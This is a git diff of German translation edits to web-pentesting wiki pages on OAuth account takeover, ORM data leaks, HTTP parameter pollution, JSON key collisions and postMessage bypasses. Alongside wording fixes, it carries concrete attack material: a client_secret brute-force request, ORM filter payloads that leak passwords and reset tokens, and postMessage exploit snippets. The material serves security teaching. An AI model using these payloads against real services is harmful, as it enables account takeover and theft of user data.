2. **Ausnutzung laxen OAuth-E-Mail-Verifizierung**: Angreifer können OAuth-Dienste ausnutzen, die E-Mails nicht verifizieren, indem sie sich bei ihrem Dienst registrieren und dann die Kontoe-Mail auf die des Opfers ändern. Diese Methode birgt ähnlich das Risiko eines unbefugten Zugriffs auf das Konto, ähnlich dem ersten Szenario, jedoch über einen anderen Angriffsvektor.
|
||||
|
||||
### Offenlegung von Geheimnissen <a href="#e177" id="e177"></a>
|
||||
|
||||
Die Identifizierung und der Schutz geheimer OAuth-Parameter sind entscheidend. Während die **`client_id`** sicher offengelegt werden kann, birgt die Offenlegung des **`client_secret`** erhebliche Risiken. Wenn das `client_secret` kompromittiert wird, können Angreifer die Identität und das Vertrauen der Anwendung ausnutzen, um **Benutzer-`access_tokens`** und private Informationen zu **stehlen**.
|
||||
|
||||
Eine häufige Schwachstelle tritt auf, wenn Anwendungen fälschlicherweise den Austausch des Autorisierungs-`codes` gegen ein `access_token` auf der Client-Seite anstelle der Server-Seite behandeln. Dieser Fehler führt zur Offenlegung des `client_secret`, was es Angreifern ermöglicht, `access_tokens` im Namen der Anwendung zu generieren. Darüber hinaus könnten Angreifer durch Social Engineering Privilegien erhöhen, indem sie zusätzliche Scopes zur OAuth-Autorisierung hinzufügen und so den vertrauenswürdigen Status der Anwendung weiter ausnutzen.
|
||||
Eine häufige Schwachstelle entsteht, wenn Anwendungen fälschlicherweise den Austausch des Autorisierungs-`codes` gegen ein `access_token` auf der Client-Seite anstelle der Server-Seite behandeln. Dieser Fehler führt zur Offenlegung des `client_secret`, was es Angreifern ermöglicht, `access_tokens` im Namen der Anwendung zu generieren. Darüber hinaus könnten Angreifer durch Social Engineering Privilegien erhöhen, indem sie zusätzliche Scopes zur OAuth-Autorisierung hinzufügen und so den vertrauenswürdigen Status der Anwendung weiter ausnutzen.
|
||||
|
||||
### Client Secret Bruteforce
|
||||
|
||||
@ -105,9 +103,9 @@ Connection: close
|
||||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Referer-Header leckt Code + Status
|
||||
### Referer-Header leakt Code + State
|
||||
|
||||
Sobald der Client den **Code und Status** hat, wenn er **im Referer-Header reflektiert wird**, während er zu einer anderen Seite browsed, ist er anfällig.
|
||||
Sobald der Client den **Code und State** hat, wenn er **im Referer-Header reflektiert wird**, während er zu einer anderen Seite browsed, ist er anfällig.
|
||||
|
||||
### Zugriffstoken im Browserverlauf gespeichert
|
||||
|
||||
@ -121,7 +119,7 @@ Der **Autorisierungscode sollte nur für eine gewisse Zeit gültig sein, um das
|
||||
|
||||
Wenn du den **Autorisierungscode erhalten und ihn mit einem anderen Client verwenden kannst, kannst du andere Konten übernehmen**.
|
||||
|
||||
### Glückliche Pfade, XSS, Iframes & Post-Nachrichten zum Lecken von Code- & Statuswerten
|
||||
### Glückliche Pfade, XSS, Iframes & Post-Nachrichten zum Leaken von Code- & State-Werten
|
||||
|
||||
[**Überprüfe diesen Beitrag**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
|
||||
|
||||
@ -152,14 +150,14 @@ Für detailliertere Informationen darüber, wie man AWS Cognito missbrauchen kan
|
||||
|
||||
Wie [**in diesem Bericht erwähnt**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), könnten OAuth-Flows, die erwarten, das **Token** (und nicht einen Code) zu erhalten, anfällig sein, wenn sie nicht überprüfen, ob das Token zur App gehört.
|
||||
|
||||
Das liegt daran, dass ein **Angreifer** eine **Anwendung, die OAuth unterstützt und sich mit Facebook anmeldet** (zum Beispiel), in seiner eigenen Anwendung erstellen könnte. Sobald ein Opfer sich dann mit Facebook in der **Anwendung des Angreifers** anmeldet, könnte der Angreifer das **OAuth-Token des Benutzers, das seiner Anwendung gegeben wurde, erhalten und es verwenden, um sich in der OAuth-Anwendung des Opfers mit dem Benutzer-Token des Opfers anzumelden**.
|
||||
Das liegt daran, dass ein **Angreifer** eine **Anwendung, die OAuth unterstützt und sich mit Facebook anmeldet** (zum Beispiel), in seiner eigenen Anwendung erstellen könnte. Sobald ein Opfer sich mit Facebook in der **Anwendung des Angreifers** anmeldet, könnte der Angreifer das **OAuth-Token des Benutzers, das seiner Anwendung gegeben wurde, erhalten und es verwenden, um sich in der OAuth-Anwendung des Opfers mit dem Benutzer-Token des Opfers anzumelden**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Daher, wenn es dem Angreifer gelingt, dass der Benutzer auf seine eigene OAuth-Anwendung zugreift, wird er in der Lage sein, das Konto des Opfers in Anwendungen zu übernehmen, die ein Token erwarten und nicht überprüfen, ob das Token ihrer App-ID zugeordnet wurde.
|
||||
> Daher, wenn es dem Angreifer gelingt, dass der Benutzer auf seine eigene OAuth-Anwendung zugreift, wird er in der Lage sein, das Konto des Opfers in Anwendungen zu übernehmen, die ein Token erwarten und nicht überprüfen, ob das Token ihrer App-ID zugewiesen wurde.
|
||||
|
||||
### Zwei Links & Cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Laut [**diesem Bericht**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) war es möglich, ein Opfer dazu zu bringen, eine Seite mit einem **returnUrl** zu öffnen, die auf den Host des Angreifers zeigt. Diese Informationen würden **in einem Cookie (RU)** gespeichert und in einem **späteren Schritt** wird die **Eingabeaufforderung** den **Benutzer fragen**, ob er den Zugriff auf den Host des Angreifers gewähren möchte.
|
||||
Laut [**diesem Bericht**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) war es möglich, ein Opfer dazu zu bringen, eine Seite mit einem **returnUrl** zu öffnen, die auf den Host des Angreifers zeigt. Diese Informationen würden **in einem Cookie (RU)** gespeichert und in einem **späteren Schritt** wird die **Eingabeaufforderung** den **Benutzer** fragen, ob er den Zugriff auf den Host des Angreifers gewähren möchte.
|
||||
|
||||
Um diese Eingabeaufforderung zu umgehen, war es möglich, einen Tab zu öffnen, um den **OAuth-Flow** zu initiieren, der dieses RU-Cookie mit der **returnUrl** setzen würde, den Tab zu schließen, bevor die Eingabeaufforderung angezeigt wird, und einen neuen Tab ohne diesen Wert zu öffnen. Dann wird die **Eingabeaufforderung nicht über den Host des Angreifers informieren**, aber das Cookie würde auf ihn gesetzt, sodass das **Token an den Host des Angreifers** in der Umleitung gesendet wird.
|
||||
|
||||
@ -186,8 +184,8 @@ Dieser [**Blogbeitrag**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)
|
||||
|
||||
1. Das Opfer greift auf die Webseite des Angreifers zu
|
||||
2. Das Opfer öffnet den bösartigen Link und ein Opener startet den Google OAuth-Flow mit `response_type=id_token,code&prompt=none` als zusätzliche Parameter unter Verwendung der **Referrer-Website des Angreifers**.
|
||||
3. Im Opener, nachdem der Anbieter das Opfer autorisiert hat, sendet er es zurück zum Wert des `redirect_uri`-Parameters (Opfer-Web) mit einem 30X-Code, der die Website des Angreifers im Referrer beibehält.
|
||||
4. Die **Website des Opfers löst die offene Umleitung basierend auf dem Referrer aus**, indem sie den Benutzer des Opfers zur Website des Angreifers umleitet, da der **`response_type`** **`id_token,code`** war, wird der Code im **Fragment** der URL an den Angreifer zurückgesendet, was ihm ermöglicht, das Konto des Benutzers über Google auf der Website des Opfers zu übernehmen.
|
||||
3. Im Opener, nachdem der Anbieter das Opfer autorisiert hat, sendet er sie zurück zum Wert des `redirect_uri`-Parameters (Opfer-Web) mit einem 30X-Code, der die Website des Angreifers im Referrer beibehält.
|
||||
4. Die **Website des Opfers löst die offene Umleitung basierend auf dem Referrer aus**, die den Benutzer des Opfers zur Website des Angreifers umleitet, da der **`response_type`** **`id_token,code`** war, wird der Code im **Fragment** der URL an den Angreifer zurückgesendet, was ihm ermöglicht, das Konto des Benutzers über Google auf der Website des Opfers zu übernehmen.
|
||||
|
||||
### SSRFs-Parameter <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -210,7 +208,7 @@ Die dynamische Client-Registrierung in OAuth dient als weniger offensichtlicher,
|
||||
- SSRF kann ausgelöst werden, indem ein neuer Client mit bösartigen URLs in Parametern wie `logo_uri`, `jwks_uri` oder `sector_identifier_uri` registriert wird.
|
||||
- Während eine direkte Ausbeutung über `request_uris` möglicherweise durch Whitelist-Kontrollen gemildert wird, kann die Bereitstellung einer vorregistrierten, vom Angreifer kontrollierten `request_uri` während der Autorisierungsphase SSRF erleichtern.
|
||||
|
||||
## OAuth-Anbieter-Race-Conditions
|
||||
## OAuth-Anbieter-Race Conditions
|
||||
|
||||
Wenn die Plattform, die Sie testen, ein OAuth-Anbieter ist, [**lesen Sie dies, um mögliche Race Conditions zu testen**](race-condition.md).
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Django ORM (Python)
|
||||
|
||||
In [**diesem Beitrag**](https://www.elttam.com/blog/plormbing-your-django-orm/) wird erklärt, wie es möglich ist, ein Django ORM anfällig zu machen, indem man beispielsweise einen Code wie den folgenden verwendet:
|
||||
In [**diesem Beitrag**](https://www.elttam.com/blog/plormbing-your-django-orm/) wird erklärt, wie es möglich ist, ein Django ORM anfällig zu machen, indem man beispielsweise einen Code wie folgt verwendet:
|
||||
|
||||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||||
"""
|
||||
@ -43,7 +43,7 @@ Beispiele:
|
||||
> [!CAUTION]
|
||||
> Es ist möglich, das Passwort aller Benutzer zu finden, die einen Artikel erstellt haben.
|
||||
|
||||
- **Many-to-many relational filtering**: Im vorherigen Beispiel konnten wir die Passwörter von Benutzern, die keinen Artikel erstellt haben, nicht finden. Durch das Verfolgen anderer Beziehungen ist dies jedoch möglich. Zum Beispiel: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||||
- **Viele-zu-viele relationale Filterung**: Im vorherigen Beispiel konnten wir die Passwörter von Benutzern, die keinen Artikel erstellt haben, nicht finden. Durch das Verfolgen anderer Beziehungen ist dies jedoch möglich. Zum Beispiel: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||||
```json
|
||||
{
|
||||
"created_by__departments__employees__user_startswith": "admi"
|
||||
@ -52,7 +52,7 @@ Beispiele:
|
||||
> [!CAUTION]
|
||||
> In diesem Fall können wir alle Benutzer in den Abteilungen von Benutzern finden, die Artikel erstellt haben, und dann ihre Passwörter leaken (im vorherigen JSON leaken wir nur die Benutzernamen, aber dann ist es möglich, die Passwörter zu leaken).
|
||||
|
||||
- **Missbrauch von Django Group und Permission viele-zu-viele Beziehungen mit Benutzern**: Darüber hinaus wird das AbstractUser-Modell verwendet, um Benutzer in Django zu generieren, und standardmäßig hat dieses Modell einige **viele-zu-viele Beziehungen zu den Permission- und Group-Tabellen**. Dies ist im Grunde eine Standardmethode, um **auf andere Benutzer von einem Benutzer zuzugreifen**, wenn sie in der **gleichen Gruppe sind oder die gleiche Berechtigung teilen**.
|
||||
- **Missbrauch von Django Group und Permission viele-zu-viele Beziehungen mit Benutzern**: Darüber hinaus wird das AbstractUser-Modell verwendet, um Benutzer in Django zu generieren, und standardmäßig hat dieses Modell einige **viele-zu-viele Beziehungen mit den Permission- und Group-Tabellen**. Dies ist im Grunde eine Standardmethode, um **auf andere Benutzer von einem Benutzer zuzugreifen**, wenn sie in der **gleichen Gruppe sind oder die gleiche Berechtigung teilen**.
|
||||
```bash
|
||||
# By users in the same group
|
||||
created_by__user__groups__user__password
|
||||
@ -67,7 +67,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
> [!CAUTION]
|
||||
> Durch den Missbrauch von Beziehungen ist es möglich, sogar Filter zu umgehen, die dazu gedacht sind, die angezeigten Daten zu schützen.
|
||||
|
||||
- **Error/Time based via ReDoS**: In den vorherigen Beispielen wurde erwartet, unterschiedliche Antworten zu erhalten, wenn das Filtern funktionierte oder nicht, um dies als Orakel zu verwenden. Es könnte jedoch möglich sein, dass eine Aktion in der Datenbank durchgeführt wird und die Antwort immer gleich ist. In diesem Szenario könnte es möglich sein, den Datenbankfehler zu erzeugen, um ein neues Orakel zu erhalten.
|
||||
- **Error/Time based via ReDoS**: In den vorherigen Beispielen wurde erwartet, unterschiedliche Antworten zu erhalten, wenn das Filtern funktionierte oder nicht, um dies als Oracle zu verwenden. Es könnte jedoch möglich sein, dass eine Aktion in der Datenbank durchgeführt wird und die Antwort immer gleich ist. In diesem Szenario könnte es möglich sein, den Datenbankfehler zu erzeugen, um ein neues Oracle zu erhalten.
|
||||
```json
|
||||
// Non matching password
|
||||
{
|
||||
@ -85,7 +85,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
|
||||
Die folgenden sind [**Tricks, die aus diesem Beitrag extrahiert wurden**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
||||
|
||||
- **Vollständige Suchkontrolle**:
|
||||
- **Vollständige Find-Kontrolle**:
|
||||
|
||||
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
||||
|
||||
@ -257,7 +257,7 @@ Es ist auch möglich, alle Benutzer durch den Missbrauch einiger Loopback-viele-
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Fehler-/Zeitabfragen**: Im ursprünglichen Beitrag können Sie eine sehr umfangreiche Reihe von Tests lesen, die durchgeführt wurden, um die optimale Nutzlast zu finden, um Informationen mit einer zeitbasierten Nutzlast zu leaken. Dies ist:
|
||||
- **Fehler-/Zeitabfragen**: Im ursprünglichen Beitrag können Sie eine sehr umfangreiche Reihe von Tests lesen, die durchgeführt wurden, um die optimale Payload zu finden, um Informationen mit einer zeitbasierten Payload zu leaken. Dies ist:
|
||||
```json
|
||||
{
|
||||
"OR": [
|
||||
@ -284,13 +284,13 @@ def index
|
||||
@posts = @q.result(distinct: true)
|
||||
end
|
||||
```
|
||||
Beachten Sie, wie die Abfrage durch die vom Angreifer gesendeten Parameter definiert wird. Es war möglich, den Rücksetz-Token beispielsweise mit folgendem zu brute-forcen:
|
||||
Beachten Sie, wie die Abfrage durch die vom Angreifer gesendeten Parameter definiert wird. Es war möglich, den Rücksetz-Token beispielsweise mit:
|
||||
```http
|
||||
GET /posts?q[user_reset_password_token_start]=0
|
||||
GET /posts?q[user_reset_password_token_start]=1
|
||||
...
|
||||
```
|
||||
Durch Brute-Forcing und potenzielle Beziehungen war es möglich, weitere Daten aus einer Datenbank zu leaken.
|
||||
Durch Brute-Forcing und potenziell Beziehungen war es möglich, weitere Daten aus einer Datenbank zu leaken.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -41,7 +41,7 @@ Dieses Szenario hebt einen kritischen Fehler im Backend der Anwendung hervor, da
|
||||
- **Szenario:** Eine Anwendung ermöglicht es Benutzern, ihren API-Schlüssel über eine Profilseite zu aktualisieren.
|
||||
- **Angriffsvektor:** Ein Angreifer entdeckt, dass er durch das Anhängen eines zusätzlichen `api_key`-Parameters an die POST-Anforderung das Ergebnis der API-Schlüsselaktualisierungsfunktion manipulieren kann.
|
||||
- **Technik:** Mit einem Tool wie Burp Suite erstellt der Angreifer eine Anfrage, die zwei `api_key`-Parameter enthält: einen legitimen und einen bösartigen. Der Server, der nur die letzte Instanz verarbeitet, aktualisiert den API-Schlüssel auf den vom Angreifer bereitgestellten Wert.
|
||||
- **Ergebnis:** Der Angreifer erhält Kontrolle über die API-Funktionalität des Opfers und kann möglicherweise private Daten unbefugt abrufen oder ändern.
|
||||
- **Ergebnis:** Der Angreifer erhält die Kontrolle über die API-Funktionalität des Opfers und kann möglicherweise private Daten unbefugt abrufen oder ändern.
|
||||
|
||||
Dieses Beispiel unterstreicht weiter die Notwendigkeit einer sicheren Parameterverarbeitung, insbesondere bei so kritischen Funktionen wie der Verwaltung von API-Schlüsseln.
|
||||
|
||||
@ -49,7 +49,7 @@ Dieses Beispiel unterstreicht weiter die Notwendigkeit einer sicheren Parameterv
|
||||
|
||||
Die Art und Weise, wie Webtechnologien doppelte HTTP-Parameter behandeln, variiert und beeinflusst ihre Anfälligkeit für HPP-Angriffe:
|
||||
|
||||
- **Flask:** Nimmt den ersten gefundenen Parameterwert an, wie `a=1` in einer Abfragezeichenfolge `a=1&a=2`, und priorisiert die ursprüngliche Instanz gegenüber nachfolgenden Duplikaten.
|
||||
- **Flask:** Nimmt den ersten gefundenen Parameterwert an, wie `a=1` in einer Abfragezeichenfolge `a=1&a=2`, und priorisiert die erste Instanz gegenüber nachfolgenden Duplikaten.
|
||||
- **PHP (auf Apache HTTP Server):** Priorisiert hingegen den letzten Parameterwert und wählt `a=2` im gegebenen Beispiel. Dieses Verhalten kann unbeabsichtigt HPP-Angriffe erleichtern, indem es den manipulierten Parameter des Angreifers über den ursprünglichen anerkennt.
|
||||
|
||||
## Parameterverunreinigung nach Technologie
|
||||
@ -80,7 +80,7 @@ Die Ergebnisse stammen von [https://medium.com/@0xAwali/http-parameter-pollution
|
||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
|
||||
2. POST RequestMapping & PostMapping erkennen name\[].
|
||||
3. Bevorzuge name, wenn name UND name\[] vorhanden sind.
|
||||
4. Verkette Parameter z.B. first,last.
|
||||
4. Verkette Parameter, z.B. first,last.
|
||||
5. POST RequestMapping & PostMapping erkennen Abfrageparameter mit Content-Type.
|
||||
|
||||
### **NodeJS** 20.17.0 **UND** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||
@ -88,34 +88,34 @@ Die Ergebnisse stammen von [https://medium.com/@0xAwali/http-parameter-pollution
|
||||
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Erkennt name\[].
|
||||
2. Verkette Parameter z.B. first,last.
|
||||
2. Verkette Parameter, z.B. first,last.
|
||||
|
||||
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||
|
||||
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[] wird NICHT erkannt.
|
||||
1. name\[] wird nicht erkannt.
|
||||
2. Bevorzuge den ersten Parameter.
|
||||
|
||||
### Python 3.12.6 UND Werkzeug 3.0.4 UND Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||
|
||||
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[] wird NICHT erkannt.
|
||||
1. name\[] wird nicht erkannt.
|
||||
2. Bevorzuge den ersten Parameter.
|
||||
|
||||
### Python 3.12.6 UND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||
|
||||
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[] wird NICHT erkannt.
|
||||
1. name\[] wird nicht erkannt.
|
||||
2. Bevorzuge den letzten Parameter.
|
||||
|
||||
### Python 3.12.6 UND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||
|
||||
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[] wird NICHT erkannt.
|
||||
1. name\[] wird nicht erkannt.
|
||||
2. Bevorzuge den letzten Parameter.
|
||||
|
||||
## JSON Injection
|
||||
@ -126,7 +126,7 @@ obj = {"test": "user", "test": "admin"}
|
||||
```
|
||||
Die Front-End-Anwendung könnte die erste Vorkommen glauben, während das Backend das zweite Vorkommen des Schlüssels verwendet.
|
||||
|
||||
### Schlüssel-Kollision: Zeichenkürzung und Kommentare
|
||||
### Schlüsselkonkurrenz: Zeichenabschneidung und Kommentare
|
||||
|
||||
Bestimmte Zeichen werden vom Frontend möglicherweise nicht korrekt interpretiert, aber das Backend wird sie interpretieren und diese Schlüssel verwenden. Dies könnte nützlich sein, um **bestimmte Einschränkungen zu umgehen**:
|
||||
```json
|
||||
@ -135,16 +135,16 @@ Bestimmte Zeichen werden vom Frontend möglicherweise nicht korrekt interpretier
|
||||
{"test": 1, "test"": 2}
|
||||
{"test": 1, "te\st": 2}
|
||||
```
|
||||
Beachten Sie, dass in diesen Fällen das Frontend denken könnte, dass `test == 1` und das Backend denken könnte, dass `test == 2`.
|
||||
Beachten Sie, dass in diesen Fällen das Frontend denken könnte, dass `test == 1` und das Backend denken wird, dass `test == 2`.
|
||||
|
||||
Dies kann auch verwendet werden, um Wertbeschränkungen zu umgehen, wie:
|
||||
Dies kann auch verwendet werden, um Wertbeschränkungen zu umgehen wie:
|
||||
```json
|
||||
{"role": "administrator\[raw \x0d byte]"}
|
||||
{"role":"administrator\ud800"}
|
||||
{"role": "administrator""}
|
||||
{"role": "admini\strator"}
|
||||
```
|
||||
### **Verwendung von Kommentartrunkierung**
|
||||
### **Verwendung von Kommentartruncation**
|
||||
```ini
|
||||
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
|
||||
```
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# PostMessage-Sicherheitsanfälligkeiten
|
||||
# PostMessage-Schwachstellen
|
||||
|
||||
## PostMessage-Sicherheitsanfälligkeiten
|
||||
## PostMessage-Schwachstellen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -130,7 +130,7 @@ Beim Einbetten einer Webseite in ein **sandboxed iframe** mit %%%%%% ist es wich
|
||||
|
||||
Durch die Angabe von **`allow-popups`** im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das Attribut **`allow-popups-to-escape-sandbox`** ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf `null` gesetzt wird, was mit der Herkunft des iframes übereinstimmt.
|
||||
|
||||
Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** als wahr ausgewertet wird (`null == null`), da sowohl das iframe als auch das Popup den gleichen Ursprungswert von `null` teilen.
|
||||
Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** als wahr ausgewertet wird (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen.
|
||||
|
||||
Für weitere Informationen **lesen** Sie:
|
||||
|
||||
@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md
|
||||
|
||||
### Umgehung von e.source
|
||||
|
||||
Es ist möglich zu überprüfen, ob die Nachricht vom selben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
|
||||
Es ist möglich zu überprüfen, ob die Nachricht vom selben Fenster kam, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if (received_message.source !== window) {
|
||||
@ -187,7 +187,7 @@ In Szenarien, in denen die über `postMessage` gesendeten Daten von JS ausgefüh
|
||||
|
||||
Ein paar **sehr gut erklärte XSS über `postMessage`** finden Sie unter [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
|
||||
Beispiel für einen Exploit, um **Prototype Pollution und dann XSS** über eine `postMessage` an ein `iframe` auszunutzen:
|
||||
Beispiel eines Exploits, um **Prototype Pollution und dann XSS** über eine `postMessage` an ein `iframe` auszunutzen:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## Winning RCs with Iframes
|
||||
|
||||
Laut diesem [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) werden Blob-Dokumente, die aus null Ursprüngen erstellt wurden, aus Sicherheitsgründen isoliert, was bedeutet, dass, wenn Sie die Hauptseite beschäftigt halten, die Iframe-Seite ausgeführt wird.
|
||||
Laut diesem [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) sind Blob-Dokumente, die aus null Ursprüngen erstellt werden, aus Sicherheitsgründen isoliert, was bedeutet, dass, wenn Sie die Hauptseite beschäftigt halten, die Iframe-Seite ausgeführt wird.
|
||||
|
||||
Im Grunde genommen wird in dieser Herausforderung ein **isoliertes Iframe ausgeführt** und direkt **nachdem** es **geladen** wurde, wird die **Eltern**-Seite eine **post**-Nachricht mit dem **Flag** **senden**.\
|
||||
Im Grunde wird in dieser Herausforderung ein **isoliertes Iframe ausgeführt** und direkt **nachdem** es **geladen** wurde, wird die **Eltern**-Seite eine **post**-Nachricht mit dem **Flag** **senden**.\
|
||||
Diese postmessage-Kommunikation ist jedoch **anfällig für XSS** (das **iframe** kann JS-Code ausführen).
|
||||
|
||||
Daher ist das Ziel des Angreifers, die **Elternseite das Iframe erstellen zu lassen**, aber **bevor** die **Eltern**-Seite die sensiblen Daten (**Flag**) **sendet**, **sie beschäftigt zu halten** und die **Payload an das Iframe** zu senden. Während die **Elternseite beschäftigt ist**, führt das **iframe die Payload aus**, die ein JS sein wird, das auf die **postmessage-Nachricht der Elternseite hört und das Flag leakt**.\
|
||||
Daher ist das Ziel des Angreifers, die **Elternseite das Iframe erstellen zu lassen**, aber **bevor** die **Eltern**-Seite die sensiblen Daten (**Flag**) **sendet**, **sie beschäftigt zu halten** und die **Payload an das Iframe** zu senden. Während die **Elternseite beschäftigt ist**, führt das **Iframe die Payload aus**, die ein JS sein wird, das auf die **postmessage-Nachricht der Elternseite hört und das Flag leakt**.\
|
||||
Schließlich hat das Iframe die Payload ausgeführt und die Elternseite hört auf, beschäftigt zu sein, sodass sie das Flag sendet und die Payload es leakt.
|
||||
|
||||
Aber wie könnten Sie die Elternseite **beschäftigt halten, direkt nachdem sie das Iframe generiert hat und nur während sie darauf wartet, dass das Iframe bereit ist, die sensiblen Daten zu senden?** Im Grunde genommen müssen Sie eine **asynchrone** **Aktion** finden, die Sie die Elternseite **ausführen** lassen können. Zum Beispiel hörte die Elternseite in dieser Herausforderung auf **postmessages** wie folgt:
|
||||
Aber wie könnten Sie die Elternseite **beschäftigt halten, direkt nachdem sie das Iframe generiert hat und nur während sie darauf wartet, dass das Iframe bereit ist, die sensiblen Daten zu senden?** Im Grunde müssen Sie eine **asynchrone** **Aktion** finden, die Sie die Elternseite **ausführen** lassen können. Zum Beispiel hörte die Elternseite in dieser Herausforderung auf **postmessages** wie folgt:
|
||||
```javascript
|
||||
window.addEventListener("message", (e) => {
|
||||
if (e.data == "blob loaded") {
|
||||
@ -25,6 +25,6 @@ Es war also möglich, eine **große Ganzzahl in einer postmessage** zu senden, d
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
```
|
||||
Und um genau zu sein und diese **postmessage** genau **nach** der Erstellung des **iframe** aber **vor** dem **Bereitsein** zum Empfangen der Daten vom Elternteil zu senden, müssen Sie mit den Millisekunden eines `setTimeout` **spielen**.
|
||||
Und um genau zu sein und die **postmessage** genau **nach** der Erstellung des **iframe** aber **vor** dem **Bereitsein**, um die Daten vom Elternteil zu empfangen, müssen Sie mit den Millisekunden eines `setTimeout` **spielen**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -15,26 +15,26 @@ renderContainer.innerHTML = data.body
|
||||
}
|
||||
}
|
||||
```
|
||||
Das Hauptproblem ist, dass die [**Hauptseite**](https://so-xss.terjanq.me) DomPurify verwendet, um `data.body` zu senden. Um eigene HTML-Daten an diesen Code zu senden, musst du **bypassen** `e.origin !== window.origin`.
|
||||
Das Hauptproblem ist, dass die [**Hauptseite**](https://so-xss.terjanq.me) DomPurify verwendet, um `data.body` zu senden. Um eigene HTML-Daten an diesen Code zu senden, musst du **`e.origin !== window.origin`** **umgehen**.
|
||||
|
||||
